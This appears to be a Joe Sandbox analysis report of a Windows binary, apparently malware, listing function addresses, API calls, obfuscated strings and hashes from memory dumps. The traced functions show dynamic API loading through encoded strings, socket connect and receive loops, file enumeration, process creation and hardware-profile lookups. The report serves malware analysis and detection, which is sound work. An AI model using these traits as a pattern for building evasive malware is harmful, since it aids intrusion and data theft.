Opcode ID: 4476be6db414eed82e646ccc05d66ef5d94400e65e1d5e86aec94948c4609bff
Instruction ID: 11d0c1734e71bc0a9d0a2a2e7b7756469fa15b119aefad3a589f4bfa12a4b5ca
Opcode Fuzzy Hash: 4476be6db414eed82e646ccc05d66ef5d94400e65e1d5e86aec94948c4609bff
Instruction Fuzzy Hash: 15A2E270D04258DFDB25DF64CD44BEEBBB4AF15304F1481D9E449AB282EB70AA89CF91

Uniqueness

Uniqueness Score: -1.00%

Function 009DC800 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(5C5A4F5B,?,?,?,?,?,?,?,?,?,?,?,?,?,?,009FFEF0), ref: 009DC845
GetProcAddress.KERNEL32(00000000,?), ref: 009DC890
GetProcAddress.KERNEL32(?), ref: 009DC8CC
GetProcAddress.KERNEL32({OZ\EQ_]), ref: 009DC90B
GetProcAddress.KERNEL32({OZ\E}CQ[`VMUN), ref: 009DC94B
GetProcAddress.KERNEL32(?), ref: 009DC97E
GetProcAddress.KERNEL32({OZ\EuV@|BRU), ref: 009DC9BD
GetProcAddress.KERNEL32({OZ\EuV@|BRU), ref: 009DC9FC

Strings

{OZ\EuV@|BRU, xrefs: 009DC9AF, 009DC9B6
XSL, xrefs: 009DC868
{OZ\E}CQ[`VMUN, xrefs: 009DC93D, 009DC944
{OZ\EuV@|BRU, xrefs: 009DC83D

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: XSL${OZ\EuV@|BRU${OZ\EuV@|BRU${OZ\E}CQ[`VMUN
API String ID: 2238633743-452386768
Opcode ID: 2094d70f8588f97a9258f5dcef9e4ca42c7e8a215834a826429cb8a365411445
Instruction ID: 4f2107be542357162f12123781c87df683b20d1abc827b991c9a0888f1950006
Opcode Fuzzy Hash: 2094d70f8588f97a9258f5dcef9e4ca42c7e8a215834a826429cb8a365411445
Instruction Fuzzy Hash: 5D71C0B0818289DEDB05CFE8E8447EEBBF8EF0D304F1081AFD545AA661D3754646CB55

Uniqueness

Uniqueness Score: -1.00%

Function 009BF9B0 Relevance: 19.9, APIs: 2, Strings: 9, Instructions: 613
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D^G, xrefs: 009C29E3
AAHY, xrefs: 009BFE10
cannot use operator[] with a string argument with , xrefs: 009C22CA, 009C231F, 009C35A0, 009C3604
\, xrefs: 009C0369
iKIQ, xrefs: 009C29D7
), xrefs: 009C3615
L[[_, xrefs: 009C23DA
W[_X, xrefs: 009C23E1
\, xrefs: 009C2C0E

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID:
String ID: )$AAHY$D^G$L[[_$W[_X$\$\$cannot use operator[] with a string argument with $iKIQ
API String ID: 0-805210591
Opcode ID: e69d1ba7a9cf1837c2a31a03fa23c6fb870a878562b8918ce486d418ceeb49b1
Instruction ID: 657268fb0ea435b45c32f13483d940fbdfe601031852dbbc21158c4f8e7a6669
Opcode Fuzzy Hash: e69d1ba7a9cf1837c2a31a03fa23c6fb870a878562b8918ce486d418ceeb49b1
Instruction Fuzzy Hash: DC42BC70C04298DFDB14DFA8CD54BEEBBB8AF15304F148198E4496B282DBB55B89CF91

Uniqueness

Uniqueness Score: -1.00%

Function 009BE220 Relevance: 18.3, APIs: 12, Instructions: 260
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32(0000032C,0000FFFF,00001006,?,00000008), ref: 009BE2B2
recv.WS2_32(?,00000004,00000002), ref: 009BE2CD
WSAGetLastError.WS2_32 ref: 009BE2D1
recv.WS2_32(00000000,0000000C,00000002,00000000), ref: 009BE34F
recv.WS2_32(00000000,0000000C,00000008), ref: 009BE370
setsockopt.WS2_32(0000FFFF,00001006,?,00000008,?), ref: 009BE40C
recv.WS2_32(00000000,?,00000008), ref: 009BE427

Part of subcall function 009BD430: WSAStartup.WS2_32 ref: 009BD45A
Part of subcall function 009BD430: socket.WS2_32(?,?,?), ref: 009BD4FD
Part of subcall function 009BD430: connect.WS2_32(00000000,?,?), ref: 009BD511
Part of subcall function 009BD430: closesocket.WS2_32(00000000), ref: 009BD51D
Part of subcall function 009BD430: WSACleanup.WS2_32 ref: 009BD530

recv.WS2_32(?,00000004,00000008), ref: 009BE52F
__Xtime_get_ticks.LIBCPMT ref: 009BE536
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009BE544
Sleep.KERNEL32(00000001,00000000,?,00002710,00000000), ref: 009BE5BD
Sleep.KERNEL32(00000064,?,00002710,00000000), ref: 009BE5C5

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: recv$Sleepsetsockopt$CleanupErrorLastStartupUnothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@closesocketconnectsocket
String ID:
API String ID: 2144401278-0
Opcode ID: e2e90d0fb50d3b1a0b8b6adcf4a5d0f271ab4bc5f544e0a01db06ad1743c4cb0
Instruction ID: 18fc04d5fde412555082522a2adfb5d11a599cac54f9f9b6ee83e50d181cbfaa
Opcode Fuzzy Hash: e2e90d0fb50d3b1a0b8b6adcf4a5d0f271ab4bc5f544e0a01db06ad1743c4cb0
Instruction Fuzzy Hash: 72B17B70D00248DFDB20DBE4DE99BEDBBB9BB44314F244229E454AB2E2D7B45946CB81

Uniqueness

Uniqueness Score: -1.00%

Function 009AB300 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 297
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?,00AE44E8,?,?,?,\*.*,00000004), ref: 009AB423
std::_Throw_Cpp_error.LIBCPMT ref: 009AB714
std::_Throw_Cpp_error.LIBCPMT ref: 009AB725

Strings

\*.*, xrefs: 009AB3B0

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$FileFindFirst
String ID: \*.*
API String ID: 1487763586-1173974218
Opcode ID: 9e6ebcab6bf5a5e64a978c539371785212231ec2507ac7e8e6043b4fc32aa3b5
Instruction ID: 074543bbdcd2f8b9cc08337d26a4674470998fd8630d01e1891317d8147c845e
Opcode Fuzzy Hash: 9e6ebcab6bf5a5e64a978c539371785212231ec2507ac7e8e6043b4fc32aa3b5
Instruction Fuzzy Hash: BBC1EE70D00249DFDF20DFA8C8487EDBBB5BF56314F244259E054AB292D7B05A85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009B60B0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 162
processlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?), ref: 009B6186
GetProcAddress.KERNEL32(00000000,?), ref: 009B6191
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 009B61E1

Strings

T^, xrefs: 009B615A
ZURK, xrefs: 009B612C
EWcF, xrefs: 009B6123
n\JQ, xrefs: 009B6118
D, xrefs: 009B60EB
fK]^, xrefs: 009B6153

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: AddressCreateHandleModuleProcProcess
String ID: D$EWcF$T^$ZURK$fK]^$n\JQ
API String ID: 3485509086-1569142387
Opcode ID: 4c8c2d2e24e702a3db36275ccb80c633750cd1bdacedf971f5a7f5b18b57fb4b
Instruction ID: cd3c78a62baf670fb9e789f1fffb611ef2c1d6bc503ebf54060f5e4768045c0a
Opcode Fuzzy Hash: 4c8c2d2e24e702a3db36275ccb80c633750cd1bdacedf971f5a7f5b18b57fb4b
Instruction Fuzzy Hash: 88510270D04208AFEB14CFA8CD81BEDBBB9FF49B14F14815DE505AB292DB34A905CB80

Uniqueness

Uniqueness Score: -1.00%

Function 009AC490 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 416
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,?,00000000,-00020019,00000000,?,?,?,x@D^^E],x@D^^E]), ref: 009AC571
RegQueryValueExA.KERNEL32(00000000,`OLXX\Vs@_S,00000000,00020019,?,00000400,?,?,?,x@D^^E],x@D^^E]), ref: 009AC5D1
GetCurrentHwProfileA.ADVAPI32(?), ref: 009AC687

Strings

_, xrefs: 009AC6F0
_, xrefs: 009AC6D1
_, xrefs: 009AC6E6
`OLXX\Vs@_S, xrefs: 009AC5CA, 009AC5CD

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
